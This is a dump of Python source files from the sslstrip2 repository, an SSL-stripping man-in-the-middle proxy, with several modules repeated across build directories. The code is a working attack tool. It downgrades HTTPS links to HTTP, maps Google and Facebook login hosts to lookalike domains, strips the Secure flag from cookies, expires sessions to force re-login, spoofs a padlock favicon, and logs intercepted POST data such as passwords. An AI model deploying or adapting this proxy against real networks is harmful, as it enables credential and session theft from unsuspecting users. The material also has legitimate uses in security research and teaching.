under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.6/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.6/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # URLMonitor 2 | 3 | import re 4 | import logging 5 | 6 | class URLMonitor: 7 | 8 | ''' 9 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 10 | server is expecting over SSL. It also keeps track of secure favicon urls. 11 | ''' 12 | 13 | # Start the arms race, and end up here... 14 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 15 | _instance = None 16 | sustitucion = {} # LEO: diccionario host / sustitucion 17 | real = {} # LEO: diccionario host / real 18 | patchDict = { 19 | 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 20 | 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', 21 | 'return"https:"':'return"http:"' 22 | } 23 | 24 | def __init__(self): 25 | self.strippedURLs = set() 26 | self.strippedURLPorts = {} 27 | self.faviconReplacement = False 28 | 29 | self.sustitucion["mail.google.com"] = "gmail.google.com" 30 | self.real["gmail.google.com"] = "mail.google.com" 31 | 32 | self.sustitucion["www.facebook.com"] = "social.facebook.com" 33 | self.real["social.facebook.com"] = "www.facebook.com" 34 | 35 | self.sustitucion["accounts.google.com"] = "cuentas.google.com" 36 | self.real["cuentas.google.com"] = "accounts.google.com" 37 | 38 | self.sustitucion["accounts.google.es"] = "cuentas.google.es" 39 | self.real["cuentas.google.es"] = "accounts.google.es" 40 | 41 | def isSecureLink(self, client, url): 42 | for expression in URLMonitor.javascriptTrickery: 43 | if (re.match(expression, url)): 44 | return True 45 | 46 | return (client,url) in self.strippedURLs 47 | 48 | def getSecurePort(self, client, url): 49 | if (client,url) in self.strippedURLs: 50 | return self.strippedURLPorts[(client,url)] 51 | else: 52 | return 443 53 | 54 | def addSecureLink(self, client, url): 55 | methodIndex = url.find("//") + 2 56 | method = url[0:methodIndex] 57 | pathIndex = url.find("/", methodIndex) 58 | host = url[methodIndex:pathIndex].lower() 59 | path = url[pathIndex:] 60 | 61 | port = 443 62 | portIndex = host.find(":") 63 | 64 | if (portIndex != -1): 65 | host = host[0:portIndex] 66 | port = host[portIndex+1:] 67 | if len(port) == 0: 68 | port = 443 69 | 70 | #LEO: Sustituir HOST 71 | if not self.sustitucion.has_key(host): 72 | lhost = host[:4] 73 | if lhost=="www.": 74 | self.sustitucion[host] = "w"+host 75 | self.real["w"+host] = host 76 | else: 77 | self.sustitucion[host] = "web"+host 78 | self.real["web"+host] = host 79 | logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) 80 | 81 | url = 'http://' + host + path 82 | #logging.debug("LEO stripped URL: %s %s"%(client, url)) 83 | 84 | self.strippedURLs.add((client, url)) 85 | self.strippedURLPorts[(client, url)] = int(port) 86 | return 'http://'+self.sustitucion[host]+path 87 | 88 | def setFaviconSpoofing(self, faviconSpoofing): 89 | self.faviconSpoofing = faviconSpoofing 90 | 91 | def isFaviconSpoofing(self): 92 | return self.faviconSpoofing 93 | 94 | def isSecureFavicon(self, client, url): 95 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 96 | 97 | def URLgetRealHost(self,host): 98 | logging.debug("Parsing host: %s"%host) 99 | if self.real.has_key(host): 100 | logging.debug("New host: %s"%self.real[host]) 101 | return self.real[host] 102 | else: 103 | logging.debug("New host: %s"%host) 104 | return host 105 | 106 | def getInstance(): 107 | if URLMonitor._instance == None: 108 | URLMonitor._instance = URLMonitor() 109 | 110 | return URLMonitor._instance 111 | 112 | getInstance = staticmethod(getInstance) 113 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.6/sslstrip/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/singe/sslstrip2/892b014bd1b62e01f5ea0924839d08a931a6a2b1/build/lib.linux-i686-2.6/sslstrip/__init__.py -------------------------------------------------------------------------------- /build/lib.linux-i686-2.7/sslstrip/ClientRequest.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import urlparse, logging, os, sys, random 20 | 21 | from twisted.web.http import Request 22 | from twisted.web.http import HTTPChannel 23 | from twisted.web.http import HTTPClient 24 | 25 | from twisted.internet import ssl 26 | from twisted.internet import defer 27 | from twisted.internet import reactor 28 | from twisted.internet.protocol import ClientFactory 29 | 30 | from ServerConnectionFactory import ServerConnectionFactory 31 | from ServerConnection import ServerConnection 32 | from SSLServerConnection import SSLServerConnection 33 | from URLMonitor import URLMonitor 34 | from CookieCleaner import CookieCleaner 35 | from DnsCache import DnsCache 36 | 37 | class ClientRequest(Request): 38 | 39 | ''' This class represents incoming client requests and is essentially where 40 | the magic begins. Here we remove the client headers we dont like, and then 41 | respond with either favicon spoofing, session denial, or proxy through HTTP 42 | or SSL to the server. 43 | ''' 44 | 45 | def __init__(self, channel, queued, reactor=reactor): 46 | Request.__init__(self, channel, queued) 47 | self.reactor = reactor 48 | self.urlMonitor = URLMonitor.getInstance() 49 | self.cookieCleaner = CookieCleaner.getInstance() 50 | self.dnsCache = DnsCache.getInstance() 51 | # self.uniqueId = random.randint(0, 10000) 52 | 53 | def cleanHeaders(self): 54 | headers = self.getAllHeaders().copy() 55 | 56 | if 'accept-encoding' in headers: 57 | del headers['accept-encoding'] 58 | 59 | if 'if-modified-since' in headers: 60 | del headers['if-modified-since'] 61 | 62 | if 'cache-control' in headers: 63 | del headers['cache-control'] 64 | 65 | return headers 66 | 67 | def getPathFromUri(self): 68 | if (self.uri.find("http://") == 0): 69 | index = self.uri.find('/', 7) 70 | return self.uri[index:] 71 | 72 | return self.uri 73 | 74 | def getPathToLockIcon(self): 75 | if os.path.exists("lock.ico"): return "lock.ico" 76 | 77 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) 78 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") 79 | 80 | if os.path.exists(scriptPath): return scriptPath 81 | 82 | logging.warning("Error: Could not find lock.ico") 83 | return "lock.ico" 84 | 85 | def handleHostResolvedSuccess(self, address): 86 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) 87 | lhost = self.getHeader("host").lower() 88 | host = self.urlMonitor.URLgetRealHost(lhost) 89 | headers = self.cleanHeaders() 90 | client = self.getClientIP() 91 | path = self.getPathFromUri() 92 | 93 | self.content.seek(0,0) 94 | postData = self.content.read() 95 | url = 'http://' + host + path 96 | 97 | self.dnsCache.cacheResolution(host, address) 98 | 99 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)): 100 | logging.debug("Sending expired cookies...") 101 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, 102 | host, headers, path)) 103 | elif (self.urlMonitor.isSecureFavicon(client, path)): 104 | logging.debug("Sending spoofed favicon response...") 105 | self.sendSpoofedFaviconResponse() 106 | elif (self.urlMonitor.isSecureLink(client, url)): 107 | logging.debug("Sending request via SSL...") 108 | self.proxyViaSSL(address, self.method, path, postData, headers, 109 | self.urlMonitor.getSecurePort(client, url)) 110 | else: 111 | logging.debug("Sending request via HTTP...") 112 | self.proxyViaHTTP(address, self.method, path, postData, headers) 113 | 114 | def handleHostResolvedError(self, error): 115 | logging.warning("Host resolution error: " + str(error)) 116 | self.finish() 117 | 118 | def resolveHost(self, host): 119 | address = self.dnsCache.getCachedAddress(host) 120 | 121 | if address != None: 122 | logging.debug("Host cached.") 123 | return defer.succeed(address) 124 | else: 125 | logging.debug("Host not cached.") 126 | return reactor.resolve(host) 127 | 128 | def process(self): 129 | logging.debug("Resolving host: %s" % (self.getHeader('host'))) 130 | host = self.getHeader('host') 131 | deferred = self.resolveHost(host) 132 | 133 | deferred.addCallback(self.handleHostResolvedSuccess) 134 | deferred.addErrback(self.handleHostResolvedError) 135 | 136 | def proxyViaHTTP(self, host, method, path, postData, headers): 137 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 138 | connectionFactory.protocol = ServerConnection 139 | self.reactor.connectTCP(host, 80, connectionFactory) 140 | 141 | def proxyViaSSL(self, host, method, path, postData, headers, port): 142 | clientContextFactory = ssl.ClientContextFactory() 143 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 144 | connectionFactory.protocol = SSLServerConnection 145 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) 146 | 147 | def sendExpiredCookies(self, host, path, expireHeaders): 148 | self.setResponseCode(302, "Moved") 149 | self.setHeader("Connection", "close") 150 | self.setHeader("Location", "http://" + host + path) 151 | 152 | for header in expireHeaders: 153 | self.setHeader("Set-Cookie", header) 154 | 155 | self.finish() 156 | 157 | def sendSpoofedFaviconResponse(self): 158 | icoFile = open(self.getPathToLockIcon()) 159 | 160 | self.setResponseCode(200, "OK") 161 | self.setHeader("Content-type", "image/x-icon") 162 | self.write(icoFile.read()) 163 | 164 | icoFile.close() 165 | self.finish() 166 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.7/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.7/sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | ServerConnection.__init__(self, command, uri, postData, headers, client) 39 | 40 | def getLogLevel(self): 41 | return logging.INFO 42 | 43 | def getPostPrefix(self): 44 | return "SECURE POST" 45 | 46 | def handleHeader(self, key, value): 47 | if (key.lower() == 'set-cookie'): 48 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 49 | 50 | ServerConnection.handleHeader(self, key, value) 51 | 52 | def stripFileFromPath(self, path): 53 | (strippedPath, lastSlash, file) = path.rpartition('/') 54 | return strippedPath 55 | 56 | def buildAbsoluteLink(self, link): 57 | absoluteLink = "" 58 | 59 | if ((not link.startswith('http')) and (not link.startswith('/'))): 60 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 61 | 62 | logging.debug("Found path-relative link in secure transmission: " + link) 63 | logging.debug("New Absolute path-relative link: " + absoluteLink) 64 | elif not link.startswith('http'): 65 | absoluteLink = "http://"+self.headers['host']+link 66 | 67 | logging.debug("Found relative link in secure transmission: " + link) 68 | logging.debug("New Absolute link: " + absoluteLink) 69 | 70 | if not absoluteLink == "": 71 | absoluteLink = absoluteLink.replace('&', '&') 72 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 73 | 74 | def replaceCssLinks(self, data): 75 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 76 | 77 | for match in iterator: 78 | self.buildAbsoluteLink(match.group(1)) 79 | 80 | return data 81 | 82 | def replaceFavicon(self, data): 83 | match = re.search(SSLServerConnection.iconExpression, data) 84 | 85 | if (match != None): 86 | data = re.sub(SSLServerConnection.iconExpression, 87 | "", data) 88 | else: 89 | data = re.sub(SSLServerConnection.headExpression, 90 | "", data) 91 | 92 | return data 93 | 94 | def replaceSecureLinks(self, data): 95 | data = ServerConnection.replaceSecureLinks(self, data) 96 | data = self.replaceCssLinks(data) 97 | 98 | if (self.urlMonitor.isFaviconSpoofing()): 99 | data = self.replaceFavicon(data) 100 | 101 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 102 | 103 | for match in iterator: 104 | self.buildAbsoluteLink(match.group(10)) 105 | 106 | return data 107 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.7/sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | 21 | from twisted.web.http import HTTPClient 22 | from URLMonitor import URLMonitor 23 | 24 | class ServerConnection(HTTPClient): 25 | 26 | ''' The server connection is where we do the bulk of the stripping. Everything that 27 | comes back is examined. The headers we dont like are removed, and the links are stripped 28 | from HTTPS to HTTP. 29 | ''' 30 | 31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 32 | urlType = re.compile(r"https://", re.IGNORECASE) 33 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 34 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) 35 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) 36 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) 37 | 38 | def __init__(self, command, uri, postData, headers, client): 39 | self.command = command 40 | self.uri = uri 41 | self.postData = postData 42 | self.headers = headers 43 | self.client = client 44 | self.urlMonitor = URLMonitor.getInstance() 45 | self.isImageRequest = False 46 | self.isCompressed = False 47 | self.contentLength = None 48 | self.shutdownComplete = False 49 | 50 | def getLogLevel(self): 51 | return logging.DEBUG 52 | 53 | def getPostPrefix(self): 54 | return "POST" 55 | 56 | def sendRequest(self): 57 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 58 | self.sendCommand(self.command, self.uri) 59 | 60 | def sendHeaders(self): 61 | for header, value in self.headers.items(): 62 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 63 | self.sendHeader(header, value) 64 | 65 | self.endHeaders() 66 | 67 | def sendPostData(self): 68 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 69 | self.transport.write(self.postData) 70 | 71 | def connectionMade(self): 72 | logging.log(self.getLogLevel(), "HTTP connection made.") 73 | self.sendRequest() 74 | self.sendHeaders() 75 | 76 | if (self.command == 'POST'): 77 | self.sendPostData() 78 | 79 | def handleStatus(self, version, code, message): 80 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 81 | self.client.setResponseCode(int(code), message) 82 | 83 | def handleHeader(self, key, value): 84 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 85 | 86 | if (key.lower() == 'location'): 87 | value = self.replaceSecureLinks(value) 88 | 89 | if (key.lower() == 'content-type'): 90 | if (value.find('image') != -1): 91 | self.isImageRequest = True 92 | logging.debug("Response is image content, not scanning...") 93 | 94 | if (key.lower() == 'content-encoding'): 95 | if (value.find('gzip') != -1): 96 | logging.debug("Response is compressed...") 97 | self.isCompressed = True 98 | elif (key.lower() == 'content-length'): 99 | self.contentLength = value 100 | elif (key.lower() == 'set-cookie'): 101 | self.client.responseHeaders.addRawHeader(key, value) 102 | else: 103 | self.client.setHeader(key, value) 104 | 105 | def handleEndHeaders(self): 106 | if (self.isImageRequest and self.contentLength != None): 107 | self.client.setHeader("Content-Length", self.contentLength) 108 | 109 | if self.length == 0: 110 | self.shutdown() 111 | 112 | def handleResponsePart(self, data): 113 | if (self.isImageRequest): 114 | self.client.write(data) 115 | else: 116 | HTTPClient.handleResponsePart(self, data) 117 | 118 | def handleResponseEnd(self): 119 | if (self.isImageRequest): 120 | self.shutdown() 121 | else: 122 | HTTPClient.handleResponseEnd(self) 123 | 124 | def handleResponse(self, data): 125 | if (self.isCompressed): 126 | logging.debug("Decompressing content...") 127 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 128 | 129 | #logging.log(self.getLogLevel(), "Read from server:\n" + data) 130 | logging.log(self.getLogLevel(), "Read from server:\n " ) 131 | 132 | 133 | data = self.replaceSecureLinks(data) 134 | 135 | if (self.contentLength != None): 136 | self.client.setHeader('Content-Length', len(data)) 137 | 138 | self.client.write(data) 139 | self.shutdown() 140 | 141 | def replaceSecureLinks(self, data): 142 | iterator = re.finditer(ServerConnection.urlExpression, data) 143 | 144 | for match in iterator: 145 | url = match.group() 146 | 147 | logging.debug("Found secure reference: " + url) 148 | self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 149 | 150 | data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) 151 | 152 | iter2 = re.finditer(ServerConnection.urlToken1, data) 153 | for match in iter2: 154 | encontrado = match.group() 155 | logging.debug("Token find: "+encontrado+", parsing...") 156 | 157 | iter2 = re.finditer(ServerConnection.urlToken2, data) 158 | for match in iter2: 159 | encontrado = match.group() 160 | logging.debug("Token find: "+encontrado+", parsing....") 161 | 162 | #data = re.sub(ServerConnection.urlToken2, r'\1?ssltoken=1',data) 163 | #data = re.sub(ServerConnection.urlToken1, r'\1ssltoken=1&',data) 164 | return re.sub(ServerConnection.urlType, 'http://', data) 165 | 166 | 167 | def shutdown(self): 168 | if not self.shutdownComplete: 169 | self.shutdownComplete = True 170 | self.client.finish() 171 | self.transport.loseConnection() 172 | 173 | 174 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.7/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.7/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /build/lib.linux-i686-2.7/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 